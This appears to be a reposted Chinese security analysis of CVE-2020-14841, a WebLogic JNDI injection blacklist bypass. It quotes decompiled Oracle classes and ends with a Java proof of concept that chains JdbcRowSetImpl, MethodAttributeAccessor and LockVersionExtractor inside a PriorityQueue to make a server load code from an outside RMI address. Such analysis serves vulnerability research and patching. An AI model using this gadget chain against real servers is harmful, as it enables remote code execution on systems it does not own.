CVE 2020-14841 WebLogic JNDI注入绕过分析 – 作者:宽字节安全实验室

简介

通过diff 升级包中weblogic的黑名单，我们发现新增了这个类：

oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor

LockVersionExtractor 分析

package oracle.eclipselink.coherence.integrated.internal.cache;


import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;


public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
protected AttributeAccessor accessor;
protected String className;


public LockVersionExtractor() {
}


public LockVersionExtractor(AttributeAccessor accessor, String className) {
this.accessor = accessor;
this.className = className;
}


public Object extract(Object arg0) {
if(arg0 == null) {
returnnull;
} else{
if(arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}


if(!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}


returnthis.accessor.getAttributeValueFromObject(arg0);
}
}

我们可以从代码上看出来，类似与 cve-2020-2555，用法也都是一样的。触发漏洞的重点在于this.accessor.getAttributeValueFromObject 中。下面选取一个可能的执行路径

package org.eclipse.persistence.internal.descriptors;


public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;

public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
returnthis.getAttributeValueFromObject(anObject, (Object[])null);
}

protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
returnAccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} catch (PrivilegedActionException var5) {
Exception throwableException = var5.getException();
if(throwableException instanceof IllegalAccessException) {
throw DescriptorException.illegalAccessWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
} else{
throw DescriptorException.targetInvocationWhileGettingValueThruMethodAccessor(this.getGetMethodName(), anObject.getClass().getName(), throwableException);
}
}
} else{
returnthis.getMethod.invoke(anObject, parameters);
}

MethodAttributeAccessor中getAttributeValueFromObject函数缺点在于，只能执行无参的函数，从这点来看，我们很容易的与七月份 cve-2020-14645 联想起来

所以照猫画虎 poc如下

POC

// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");

MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");


LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");

final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);


Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);

Field comparatorF = queue.getClass().getDeclaredField("comparator");
comparatorF.setAccessible(true);
comparatorF.set(queue, new ExtractorComparator(extractor));

来源：freebuf.com 2020-10-21 22:10:13 by: 宽字节安全实验室